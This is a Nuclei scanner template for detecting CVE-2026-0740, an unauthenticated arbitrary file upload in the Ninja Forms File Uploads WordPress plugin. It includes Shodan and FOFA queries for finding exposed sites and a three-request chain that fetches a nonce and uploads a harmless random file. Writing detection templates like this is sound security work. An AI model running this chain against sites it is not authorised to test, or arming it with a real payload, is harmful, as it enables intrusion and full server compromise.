id: CVE-2026-0740

info:
  name: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload
  author: whattheslime
  severity: critical
  description: |
    Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update Ninja Forms File Uploads plugin to version 3.3.27 or later.
  reference:
    - https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0740
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0740
    epss-score: 0.54254
    epss-percentile: 0.98878
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: ninjaforms
    product: ninja_forms_file_uploads
    cpe: cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:*
    shodan-query: http.html:"nfpluginsettings.js?ver="
    fofa-query: body="nfpluginsettings.js?ver="
  tags: cve,cve2026,wordpress,wp,wp-plugin,ninja-forms-uploads,file-upload,rce,vkev

variables:
  field_id: "{{rand_int(1000000000, 9999999999)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "nfpluginsettings.js")'
          - 'status_code == 200'
          - 'compare_versions(version, "<= 3.3.26")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'nfpluginsettings\.js\?ver=([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_fu_get_new_nonce&field_id={{field_id}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"success\":true")'
          - 'contains(body, "\"nonce\":")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        part: body
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=nucleiboundary

        --nucleiboundary
        Content-Disposition: form-data; name="action"

        nf_fu_upload
        --nucleiboundary
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        --nucleiboundary
        Content-Disposition: form-data; name="form_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="field_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="files-{{field_id}}"; filename="image.jpg"
        Content-Type: image/jpeg

        {{randstr}}
        --nucleiboundary
        Content-Disposition: form-data; name="image_jpg"

        {{randstr}}.txt
        --nucleiboundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "data\":{\"files", "tmp_name\":", "new_tmp_key\":")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100927fdf098a441259f990d01348ec7a24ecd1e913710a54ef711c8fe0c248b3db02203f19c2f8dbdcf806d45e80bba025cbcac07336999df0a44ce11a94ab5753497d:922c64590222798bb761d5b6d8e72950